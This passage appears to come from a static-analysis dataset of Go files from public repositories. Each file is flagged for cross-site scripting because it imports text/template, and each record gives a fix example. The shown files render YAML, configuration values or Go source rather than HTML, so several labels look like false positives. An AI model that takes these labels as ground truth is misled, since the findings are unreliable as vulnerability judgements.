escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "29d19681bdf600bd38e329c8fcef31a621037bb202bbe3d6733570a8bfbf1834", "license": {"spdx": ["Apache-2.0"], "repo": "yoshiakiley/yamecloud", "path": "pkg/action/api/workloads/content/content.go", "repo_head_hexsha": "888728502e22bf37dfda3c2b8ee7c67d1185419a", "stack_hexsha": "3650ea20c4773acc3f7047bc9b186013a4ceaa93", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package content\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured\"\n\t\"k8s.io/apimachinery/pkg/util/yaml\"\n\t\"text/template\"\n)\n\nvar _ io.Writer = &Output{}\n\ntype Output struct{ Data []byte }\n\nfunc (o *Output) Write(p []byte) (n int, err error) {\n\to.Data = append(o.Data, p...)\n\tif len(o.Data) < 1 {\n\t\terr = fmt.Errorf(\"can't not copy\")\n\t}\n\treturn\n}\n\nfunc Render(data interface{}, tpl string) (*unstructured.Unstructured, error) {\n\tt, err := template.New(\"\").Parse(tpl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\to := &Output{}\n\tif err := t.Execute(o, data); err != nil {\n\t\treturn nil, err\n\t}\n\n\tobject := make(map[string]interface{})\n\tif err := yaml.Unmarshal(o.Data, &object); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &unstructured.Unstructured{Object: object}, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "5212629e0f276facb2c56e5933ea9c0a663e2d91d6a46b42516f4a093fca0569", "license": {"spdx": ["Apache-2.0"], "repo": "springload/ssm-paren", "path": "ssm/transformations/template_funcs.go", "repo_head_hexsha": "8f0d4e48a8c212bfa74e4e7930e1a6c3c7fb1002", "stack_hexsha": "5fdffef12732d89d4c70f984b8697f83dfbc3c67", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package transformations\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nvar funcMap = template.FuncMap{\n\t\"env\": GetEnv,\n\t\"url_host\": URLHost,\n\t\"url_port\": URLPort,\n\t\"url_password\": URLPassword,\n\t\"url_path\": URLPath,\n\t\"url_scheme\": URLScheme,\n\t\"url_user\": URLUser,\n\t\"trim_prefix\": strings.TrimPrefix,\n\t\"replace\": strings.Replace,\n}\n\n// GetEnv gets the environment variable\nfunc GetEnv(input string) (string, error) {\n\tval, ok := os.LookupEnv(input)\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"can't find %s in the environment variables\", input)\n\t}\n\treturn val, nil\n}\n\n// URLUser extracts user from the URL or returns \"\" if it's not set\nfunc URLUser(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn u.User.Username(), nil\n}\n\n// URLPassword extracts password from the URL or returns \"\" if it's not set\nfunc URLPassword(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tp, ok := u.User.Password()\n\tif !ok {\n\t\treturn \"\", nil\n\t}\n\treturn p, nil\n}\n\n// URLScheme extracts password from the URL or returns \"\" if it's not set\nfunc URLScheme(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn u.Scheme, nil\n}\n\n// URLHost extracts host from the URL or returns \"\" if it's not set. It also strips any port if there is any\nfunc URLHost(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn u.Hostname(), nil\n}\n\n// URLHost extracts host from the URL or returns \"\" if it's not set\nfunc URLPort(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn u.Port(), nil\n}\n\n// URLPath extracts path from the URL or returns \"\" if it's not set\nfunc URLPath(input string) (string, error) {\n\tu, err := url.Parse(input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn u.Path, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "569bbef09fad2ec38a8dcb89cb92fd0c40c673218c5ec9fb0e04d59873fbd460", "license": {"spdx": ["Apache-2.0"], "repo": "SteelPhase/mongo-go-driver", "path": "x/mongo/driver/drivergen/drivergen.go", "repo_head_hexsha": "4c20e1372951b727ce9b56c0ece9f28152a8fc52", "stack_hexsha": "78c05e7e0af31aa41444b2b990cbf4c9b2dee6fe", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 9, "entireCode": "package drivergen\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"sort\"\n\t\"strings\"\n\t\"text/template\"\n\t\"unicode\"\n\n\t\"github.com/pelletier/go-toml\"\n)\n\n// Operation is the top-level configuration type. It's the direct representation of an operation\n// TOML file.\ntype Operation struct {\n\tName string\n\tDocumentation string\n\tVersion int\n\tDriverInternal bool\n\tProperties Properties\n\tCommand Command\n\tRequest map[string]RequestField\n\tResponse Response\n\n\tpkg string\n}\n\n// PackageName returns the package name to use when generating the operation.\nfunc (op Operation) PackageName() string { return op.pkg }\n\n// Generate creates the operation type and associated response types and writes them to w.\nfunc (op Operation) Generate(w io.Writer) error {\n\tt, err := template.New(op.Name + \" operation\").Parse(typeTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn t.Execute(w, op)\n}\n\n// ShortName returns the receiver used for this operation.\nfunc (op Operation) ShortName() string {\n\tname := op.Name\n\tif len(name) == 0 {\n\t\treturn \"\"\n\t}\n\tshort := strings.ToLower(string(name[0]))\n\tidx := 1\n\tfor {\n\t\ti := strings.IndexFunc(name[idx:], unicode.IsUpper)\n\t\tif i == -1 {\n\t\t\tbreak\n\t\t}\n\t\tidx += i\n\t\tshort += strings.ToLower(string(name[idx]))\n\t\tidx++\n\t}\n\treturn short\n}\n\n// ResultType returns the type to use as the result of running this operation.\nfunc (op Operation) ResultType() string {\n\treturn op.Response.Name\n}\n\n// Title wraps strings.Title for use in templates.\nfunc (op Operation) Title(name string) string { return strings.Title(name) }\n\n// EscapeDocumentation will add the required // in front of each line of documentation.\nfunc (Operation) EscapeDocumentation(doc string) string {\n\tvar slc []string\n\tfor _, line := range strings.Split(doc, \"\\n\") {\n\t\tslc = append(slc, \"// \"+line)\n\t}\n\treturn strings.Join(slc, \"\\n\")\n}\n\n// ConstructorParameters builds the parameter names and types for the operation constructor.\nfunc (op Operation) ConstructorParameters() string {\n\tvar parameters []string\n\tfor name, field := range op.Request {\n\t\tif !field.Constructor {\n\t\t\tcontinue\n\t\t}\n\t\tparameters = append(parameters, name+\" \"+field.ParameterType())\n\t}\n\treturn strings.Join(parameters, \", \")\n}\n\n// ConstructorFields returns a slice of name name pairs that set fields in a newly instantiated\n// operation.\nfunc (op Operation) ConstructorFields() []string {\n\tvar fields []string\n\tfor name, field := range op.Request {\n\t\tif !field.Constructor {\n\t\t\tcontinue\n\t\t}\n\t\t// either \"name: name,\" or \"name: &name,\"\n\t\tfieldName := name\n\t\tif field.PointerType() {\n\t\t\tfieldName = \"&\" + name\n\t\t}\n\t\tfields = append(fields, name+\": \"+fieldName+\",\")\n\t}\n\treturn fields\n}\n\n// CommandMethod returns the code required to transform the operation into a command. This code only\n// returns the contents of the command method, without the function definition and return.\nfunc (op Operation) CommandMethod() (string, error) {\n\tvar buf bytes.Buffer\n\tswitch op.Command.Parameter {\n\tcase \"collection\":\n\t\ttmpl := commandCollectionTmpl\n\t\tif op.Command.Database {\n\t\t\ttmpl = commandCollectionDatabaseTmpl\n\t\t}\n\t\terr := tmpl.Execute(&buf, op)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\tcase \"database\":\n\t\ttmpl := commandDatabaseTmpl\n\t\terr := tmpl.Execute(&buf, op)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\tdefault:\n\t\tvar tmpl *template.Template\n\t\tfield, ok := op.Request[op.Command.Parameter]\n\t\tif !ok {\n\t\t\treturn \"\", fmt.Errorf(\n\t\t\t\t\"no request field named '%s' but '%s' is specified as the command parameter\",\n\t\t\t\top.Command.Parameter, op.Command.Parameter,\n\t\t\t)\n\t\t}\n\t\tswitch field.Type {\n\t\tcase \"double\":\n\t\t\ttmpl = commandParamDoubleTmpl\n\t\tcase \"string\":\n\t\t\ttmpl = commandParamStringTmpl\n\t\tcase \"document\":\n\t\t\ttmpl = commandParamDocumentTmpl\n\t\tcase \"array\":\n\t\t\ttmpl = commandParamArrayTmpl\n\t\tcase \"boolean\":\n\t\t\ttmpl = commandParamBooleanTmpl\n\t\tcase \"int32\":\n\t\t\ttmpl = commandParamInt32Tmpl\n\t\tcase \"int64\":\n\t\t\ttmpl = commandParamInt64Tmpl\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"unknown request field type %s\", field.Type)\n\t\t}\n\t\tvar rf struct {\n\t\t\tShortName string\n\t\t\tName string\n\t\t\tParameterName string\n\t\t}\n\t\trf.ShortName = op.ShortName()\n\t\trf.Name = op.Command.Parameter\n\t\trf.ParameterName = op.Command.Name\n\t\terr := tmpl.Execute(&buf, rf)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tnames := make([]string, 0, len(op.Request))\n\tfor name := range op.Request {\n\t\tnames = append(names, name)\n\t}\n\tsort.Strings(names)\n\tfor _, name := range names {\n\t\tfield := op.Request[name]\n\t\tif name == op.Properties.Batches {\n\t\t\tcontinue\n\t\t}\n\t\tvar tmpl *template.Template\n\t\tswitch field.Type {\n\t\tcase \"double\":\n\t\t\ttmpl = commandParamDoubleTmpl\n\t\tcase \"string\":\n\t\t\ttmpl = commandParamStringTmpl\n\t\tcase \"document\":\n\t\t\ttmpl = commandParamDocumentTmpl\n\t\tcase \"array\":\n\t\t\ttmpl = commandParamArrayTmpl\n\t\tcase \"boolean\":\n\t\t\ttmpl = commandParamBooleanTmpl\n\t\tcase \"int32\":\n\t\t\ttmpl = commandParamInt32Tmpl\n\t\tcase \"int64\":\n\t\t\ttmpl = commandParamInt64Tmpl\n\t\tcase \"value\":\n\t\t\ttmpl = commandParamValueTmpl\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"unknown request field type %s\", field.Type)\n\t\t}\n\t\tvar rf struct {\n\t\t\tShortName string\n\t\t\tName string\n\t\t\tParameterName string\n\t\t\tMinWireVersion int\n\t\t\tMinWireVersionRequired int\n\t\t}\n\t\trf.ShortName = op.ShortName()\n\t\trf.Name = name\n\t\trf.ParameterName = name\n\t\tif field.KeyName != \"\" {\n\t\t\trf.ParameterName = field.KeyName\n\t\t}\n\t\trf.MinWireVersion = field.MinWireVersion\n\t\trf.MinWireVersionRequired = field.MinWireVersionRequired\n\t\terr := tmpl.Execute(&buf, rf)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t}\n\treturn buf.String(), nil\n}\n\n// Properties represent general properties of the operation.\ntype Properties struct {\n\tDisabled []Builtin\n\tEnabled []Builtin\n\tRetryable Retryable\n\tBatches string\n\tLegacy LegacyOperation\n\tMinimumWriteConcernWireVersion int\n\tMinimumReadConcernWireVersion int\n}\n\n// Builtins returns a slice of built-ins that is the combination of the non-disabled default\n// built-ins plus any enabled non-default built-ins.\nfunc (p Properties) Builtins() []Builtin {\n\tdefaults := map[Builtin]struct{}{\n\t\tDeployment: {},\n\t\tDatabase: {},\n\t\tSelector: {},\n\t\tCommandMonitor: {},\n\t\tClientSession: {},\n\t\tClusterClock: {},\n\t\tCollection: {},\n\t}\n\tfor _, builtin := range p.Disabled {\n\t\tdelete(defaults, builtin)\n\t}\n\tbuiltins := make([]Builtin, 0, len(defaults)+len(p.Enabled))\n\t// We don't do this in a loop because we want them to be in a stable order.\n\tif _, ok := defaults[Deployment]; ok {\n\t\tbuiltins = append(builtins, Deployment)\n\t}\n\tif _, ok := defaults[Database]; ok {\n\t\tbuiltins = append(builtins, Database)\n\t}\n\tif _, ok := defaults[Selector]; ok {\n\t\tbuiltins = append(builtins, Selector)\n\t}\n\tif _, ok := defaults[CommandMonitor]; ok {\n\t\tbuiltins = append(builtins, CommandMonitor)\n\t}\n\tif _, ok := defaults[ClientSession]; ok {\n\t\tbuiltins = append(builtins, ClientSession)\n\t}\n\tif _, ok := defaults[ClusterClock]; ok {\n\t\tbuiltins = append(builtins, ClusterClock)\n\t}\n\tif _, ok := defaults[Collection]; ok {\n\t\tbuiltins = append(builtins, Collection)\n\t}\n\tfor _, builtin := range p.Enabled {\n\t\tswitch builtin {\n\t\tcase Deployment, Database, Selector, CommandMonitor, ClientSession, ClusterClock, Collection:\n\t\t\tcontinue // If someone added a default to enable, just ignore it.\n\t\t}\n\t\tbuiltins = append(builtins, builtin)\n\t}\n\tsort.Slice(builtins, func(i, j int) bool { return builtins[i] < builtins[j] })\n\treturn builtins\n}\n\n// ExecuteBuiltins returns the builtins that need to be set on the driver.Operation for the\n// properties set.\nfunc (p Properties) ExecuteBuiltins() []Builtin {\n\tbuiltins := p.Builtins()\n\tfields := make([]Builtin, 0, len(builtins))\n\tfor _, builtin := range builtins {\n\t\tif builtin == Collection {\n\t\t\tcontinue // We don't include this in execute.\n\t\t}\n\t\tfields = append(fields, builtin)\n\t}\n\treturn fields\n}\n\n// IsEnabled returns a Builtin if the string that matches that built-in is enabled. If it's not, an\n// empty string is returned.\nfunc (p Properties) IsEnabled(builtin string) Builtin {\n\tm := p.BuiltinsMap()\n\tif b := m[Builtin(builtin)]; b {\n\t\treturn Builtin(builtin)\n\t}\n\treturn \"\"\n}\n\n// BuiltinsMap returns a map with the builtins that enabled.\nfunc (p Properties) BuiltinsMap() map[Builtin]bool {\n\tbuiltins := make(map[Builtin]bool)\n\tfor _, builtin := range p.Builtins() {\n\t\tbuiltins[builtin] = true\n\t}\n\treturn builtins\n}\n\n// LegacyOperationKind returns the corresponding LegacyOperationKind value for an operation.\nfunc (p Properties) LegacyOperationKind() string {\n\tswitch p.Legacy {\n\tcase LegacyFind:\n\t\treturn \"driver.LegacyFind\"\n\tcase LegacyGetMore:\n\t\treturn \"driver.LegacyGetMore\"\n\tcase LegacyKillCursors:\n\t\treturn \"driver.LegacyKillCursors\"\n\tcase LegacyListCollections:\n\t\treturn \"driver.LegacyListCollections\"\n\tcase LegacyListIndexes:\n\t\treturn \"driver.LegacyListIndexes\"\n\tdefault:\n\t\treturn \"driver.LegacyNone\"\n\t}\n}\n\n// Retryable represents retryable information for an operation.\ntype Retryable struct {\n\tMode RetryableMode\n\tType RetryableType\n}\n\n// RetryableMode are the configuration representations of the retryability modes.\ntype RetryableMode string\n\n// These constants are the various retryability modes.\nconst (\n\tRetryableOnce RetryableMode = \"once\"\n\tRetryableOncePerCommand RetryableMode = \"once per command\"\n\tRetryableContext RetryableMode = \"context\"\n)\n\n// RetryableType instances are the configuration representation of a kind of retryability.\ntype RetryableType string\n\n// These constants are the various retryable types.\nconst (\n\tRetryableWrites RetryableType = \"writes\"\n\tRetryableReads RetryableType = \"reads\"\n)\n\n// LegacyOperation enables legacy versions of find, getMore, or killCursors operations.\ntype LegacyOperation string\n\n// These constants are the various legacy operations that can be generated.\nconst (\n\tLegacyFind LegacyOperation = \"find\"\n\tLegacyGetMore LegacyOperation = \"getMore\"\n\tLegacyKillCursors LegacyOperation = \"killCursors\"\n\tLegacyListCollections LegacyOperation = \"listCollections\"\n\tLegacyListIndexes LegacyOperation = \"listIndexes\"\n)\n\n// Builtin represent types that are built into the IDL.\ntype Builtin string\n\n// These constants are the built in types.\nconst (\n\tCollection Builtin = \"collection\"\n\tReadPreference Builtin = \"read preference\"\n\tReadConcern Builtin = \"read concern\"\n\tWriteConcern Builtin = \"write concern\"\n\tCommandMonitor Builtin = \"command monitor\"\n\tClientSession Builtin = \"client session\"\n\tClusterClock Builtin = \"cluster clock\"\n\tSelector Builtin = \"selector\"\n\tDatabase Builtin = \"database\"\n\tDeployment Builtin = \"deployment\"\n)\n\n// ExecuteName provides the name used when setting this built-in on a driver.Operation.\nfunc (b Builtin) ExecuteName() string {\n\tvar execname string\n\tswitch b {\n\tcase ReadPreference:\n\t\texecname = \"ReadPreference\"\n\tcase ReadConcern:\n\t\texecname = \"ReadConcern\"\n\tcase WriteConcern:\n\t\texecname = \"WriteConcern\"\n\tcase CommandMonitor:\n\t\texecname = \"CommandMonitor\"\n\tcase ClientSession:\n\t\texecname = \"Client\"\n\tcase ClusterClock:\n\t\texecname = \"Clock\"\n\tcase Selector:\n\t\texecname = \"Selector\"\n\tcase Database:\n\t\texecname = \"Database\"\n\tcase Deployment:\n\t\texecname = \"Deployment\"\n\t}\n\treturn execname\n}\n\n// ReferenceName returns the short name used to refer to this built in. It is used as the field name\n// in the struct and as the variable name for the setter.\nfunc (b Builtin) ReferenceName() string {\n\tvar refname string\n\tswitch b {\n\tcase Collection:\n\t\trefname = \"collection\"\n\tcase ReadPreference:\n\t\trefname = \"readPreference\"\n\tcase ReadConcern:\n\t\trefname = \"readConcern\"\n\tcase WriteConcern:\n\t\trefname = \"writeConcern\"\n\tcase CommandMonitor:\n\t\trefname = \"monitor\"\n\tcase ClientSession:\n\t\trefname = \"session\"\n\tcase ClusterClock:\n\t\trefname = \"clock\"\n\tcase Selector:\n\t\trefname = \"selector\"\n\tcase Database:\n\t\trefname = \"database\"\n\tcase Deployment:\n\t\trefname = \"deployment\"\n\t}\n\treturn refname\n}\n\n// SetterName returns the name to be used when creating a setter for this built-in.\nfunc (b Builtin) SetterName() string {\n\tvar setter string\n\tswitch b {\n\tcase Collection:\n\t\tsetter = \"Collection\"\n\tcase ReadPreference:\n\t\tsetter = \"ReadPreference\"\n\tcase ReadConcern:\n\t\tsetter = \"ReadConcern\"\n\tcase WriteConcern:\n\t\tsetter = \"WriteConcern\"\n\tcase CommandMonitor:\n\t\tsetter = \"CommandMonitor\"\n\tcase ClientSession:\n\t\tsetter = \"Session\"\n\tcase ClusterClock:\n\t\tsetter = \"ClusterClock\"\n\tcase Selector:\n\t\tsetter = \"ServerSelector\"\n\tcase Database:\n\t\tsetter = \"Database\"\n\tcase Deployment:\n\t\tsetter = \"Deployment\"\n\t}\n\treturn setter\n}\n\n// Type returns the Go type for this built-in.\nfunc (b Builtin) Type() string {\n\tvar t string\n\tswitch b {\n\tcase Collection:\n\t\tt = \"string\"\n\tcase ReadPreference:\n\t\tt = \"*readpref.ReadPref\"\n\tcase ReadConcern:\n\t\tt = \"*readconcern.ReadConcern\"\n\tcase WriteConcern:\n\t\tt = \"*writeconcern.WriteConcern\"\n\tcase CommandMonitor:\n\t\tt = \"*event.CommandMonitor\"\n\tcase ClientSession:\n\t\tt = \"*session.Client\"\n\tcase ClusterClock:\n\t\tt = \"*session.ClusterClock\"\n\tcase Selector:\n\t\tt = \"description.ServerSelector\"\n\tcase Database:\n\t\tt = \"string\"\n\tcase Deployment:\n\t\tt = \"driver.Deployment\"\n\t}\n\treturn t\n}\n\n// Documentation returns the GoDoc documentation for this built-in.\nfunc (b Builtin) Documentation() string {\n\tvar doc string\n\tswitch b {\n\tcase Collection:\n\t\tdoc = \"Collection sets the collection that this command will run against.\"\n\tcase ReadPreference:\n\t\tdoc = \"ReadPreference set the read prefernce used with this operation.\"\n\tcase ReadConcern:\n\t\tdoc = \"ReadConcern specifies the read concern for this operation.\"\n\tcase WriteConcern:\n\t\tdoc = \"WriteConcern sets the write concern for this operation.\"\n\tcase CommandMonitor:\n\t\tdoc = \"CommandMonitor sets the monitor to use for APM events.\"\n\tcase ClientSession:\n\t\tdoc = \"Session sets the session for this operation.\"\n\tcase ClusterClock:\n\t\tdoc = \"ClusterClock sets the cluster clock for this operation.\"\n\tcase Selector:\n\t\tdoc = \"ServerSelector sets the selector used to retrieve a server.\"\n\tcase Database:\n\t\tdoc = \"Database sets the database to run this operation against.\"\n\tcase Deployment:\n\t\tdoc = \"Deployment sets the deployment to use for this operation.\"\n\t}\n\treturn doc\n}\n\n// Command holds the command serialization specific information for an operation.\ntype Command struct {\n\tName string\n\tParameter string\n\tDatabase bool\n}\n\n// RequestField represents an individual operation field.\ntype RequestField struct {\n\tType string\n\tSlice bool\n\tConstructor bool\n\tVariadic bool\n\tDocumentation string\n\tMinWireVersion int\n\tMinWireVersionRequired int\n\tKeyName string\n}\n\n// Command returns a string function that sets the key to name and value to the RequestField type.\n// It uses accessor to access the parameter. The accessor parameter should be the shortname of the\n// operation and the name of the field of the property used for the command name. For example, if\n// the shortname is \"eo\" and the field is \"collection\" then accessor should be \"eo.collection\".\nfunc (rf RequestField) Command(name, accessor string) string {\n\treturn \"\"\n}\n\n// ParameterType returns this field's type for use as a parameter argument.\nfunc (rf RequestField) ParameterType() string {\n\tvar param string\n\tif rf.Slice && !rf.Variadic {\n\t\tparam = \"[]\"\n\t}\n\tif rf.Variadic {\n\t\tparam = \"...\"\n\t}\n\tswitch rf.Type {\n\tcase \"double\":\n\t\tparam += \"float64\"\n\tcase \"string\":\n\t\tparam += \"string\"\n\tcase \"document\", \"array\":\n\t\tparam += \"bsoncore.Document\"\n\tcase \"binary\":\n\tcase \"boolean\":\n\t\tparam += \"bool\"\n\tcase \"int32\":\n\t\tparam += \"int32\"\n\tcase \"int64\":\n\t\tparam += \"int64\"\n\tcase \"value\":\n\t\tparam += \"bsoncore.Value\"\n\t}\n\treturn param\n}\n\n// DeclarationType returns this field's type for use in a struct type declaration.\nfunc (rf RequestField) DeclarationType() string {\n\tvar decl string\n\tswitch rf.Type {\n\tcase \"double\", \"string\", \"boolean\", \"int32\", \"int64\":\n\t\tdecl = \"*\"\n\t}\n\tif rf.Slice {\n\t\tdecl = \"[]\"\n\t}\n\tswitch rf.Type {\n\tcase \"double\":\n\t\tdecl += \"float64\"\n\tcase \"string\":\n\t\tdecl += \"string\"\n\tcase \"document\", \"array\":\n\t\tdecl += \"bsoncore.Document\"\n\tcase \"binary\":\n\tcase \"boolean\":\n\t\tdecl += \"bool\"\n\tcase \"int32\":\n\t\tdecl += \"int32\"\n\tcase \"int64\":\n\t\tdecl += \"int64\"\n\tcase \"value\":\n\t\tdecl += \"bsoncore.Value\"\n\t}\n\treturn decl\n}\n\n// PointerType returns true if the request field is a pointer type and the setter should take the\n// address when setting via a setter method.\nfunc (rf RequestField) PointerType() bool {\n\tswitch rf.Type {\n\tcase \"double\", \"string\", \"boolean\", \"int32\", \"int64\":\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\n// Response represents a response type to generate.\ntype Response struct {\n\tName string\n\tType string\n\tField map[string]ResponseField\n}\n\n// ResponseField is an individual field of a response.\ntype ResponseField struct {\n\tType string\n\tDocumentation string\n}\n\n// DeclarationType returns the field's type for use in a struct type declaration.\nfunc (rf ResponseField) DeclarationType() string {\n\tswitch rf.Type {\n\tcase \"boolean\":\n\t\treturn \"bool\"\n\tcase \"value\":\n\t\treturn \"bsoncore.Value\"\n\tdefault:\n\t\treturn rf.Type\n\t}\n}\n\n// BuiltinResponseType is the type used to define built in response types.\ntype BuiltinResponseType string\n\n// These constants represents the different built in response types.\nconst (\n\tBatchCursor BuiltinResponseType = \"batch cursor\"\n)\n\n// BuildMethod handles creating the body of a method to create a response from a BSON response\n// document.\n//\n// TODO(GODRIVER-1094): This method is hacky because we're not using nested templates like we should\n// be. Each template should be registered and we should be calling the template to create it.\nfunc (r Response) BuildMethod() (string, error) {\n\tvar buf bytes.Buffer\n\tnames := make([]string, 0, len(r.Field))\n\tfor name := range r.Field {\n\t\tnames = append(names, name)\n\t}\n\tsort.Strings(names)\n\tfor _, name := range names {\n\t\tfield := r.Field[name]\n\t\tvar tmpl *template.Template\n\t\tswitch field.Type {\n\t\tcase \"boolean\":\n\t\t\ttmpl = responseFieldBooleanTmpl\n\t\tcase \"int32\":\n\t\t\ttmpl = responseFieldInt32Tmpl\n\t\tcase \"int64\":\n\t\t\ttmpl = responseFieldInt64Tmpl\n\t\tcase \"string\":\n\t\t\ttmpl = responseFieldStringTmpl\n\t\tcase \"value\":\n\t\t\ttmpl = responseFieldValueTmpl\n\t\tcase \"document\":\n\t\t\ttmpl = responseFieldDocumentTmpl\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"unknown response field type %s\", field.Type)\n\t\t}\n\t\tvar rf struct {\n\t\t\tResponseName string // Key of the BSON response.\n\t\t\tResponseShortName string // Receiver for the type being built.\n\t\t\tField string // Name of the Go response type field.\n\t\t}\n\t\trf.ResponseShortName = r.ShortName()\n\t\trf.ResponseName = name\n\t\trf.Field = strings.Title(name)\n\t\terr := tmpl.Execute(&buf, rf)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t}\n\treturn buf.String(), nil\n}\n\n// ShortName returns the short name used when constructing a response.\nfunc (r Response) ShortName() string {\n\tname := r.Name\n\tif len(name) == 0 {\n\t\treturn \"\"\n\t}\n\tshort := strings.ToLower(string(name[0]))\n\tidx := 1\n\tfor {\n\t\ti := strings.IndexFunc(name[idx:], unicode.IsUpper)\n\t\tif i == -1 {\n\t\t\tbreak\n\t\t}\n\t\tidx += i\n\t\tshort += strings.ToLower(string(name[idx]))\n\t\tidx++\n\t}\n\treturn short\n}\n\n// ParseFile will construct an Operation using the TOML in filename. The Operation will have the\n// package name set to packagename.\nfunc ParseFile(filename, packagename string) (Operation, error) {\n\ttree, err := toml.LoadFile(filename)\n\tif err != nil {\n\t\treturn Operation{}, err\n\t}\n\tvar op Operation\n\terr = tree.Unmarshal(&op)\n\top.pkg = packagename\n\treturn op, err\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "f94ebf3d6391c00cd0b5d47d22527c64870c51801e50016a1e4b1d74689cbf84", "license": {"spdx": ["Apache-2.0"], "repo": "RansikaG/product-apim-tooling", "path": "import-export-cli/impl/getApis.go", "repo_head_hexsha": "08b60e90687a5f426b6068d6e33063a9252cdbfd", "stack_hexsha": "8c539151f22d72870eccdfc4a3f50aa495c826e6", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 25, "entireCode": "/*\n* Copyright (c) WSO2 Inc. (http://www.wso2.org) All Rights Reserved.\n*\n* WSO2 Inc. licenses this file to you under the Apache License,\n* Version 2.0 (the \"License\"); you may not use this file except\n* in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing,\n* software distributed under the License is distributed on an\n* \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n* KIND, either express or implied. See the License for the\n* specific language governing permissions and limitations\n* 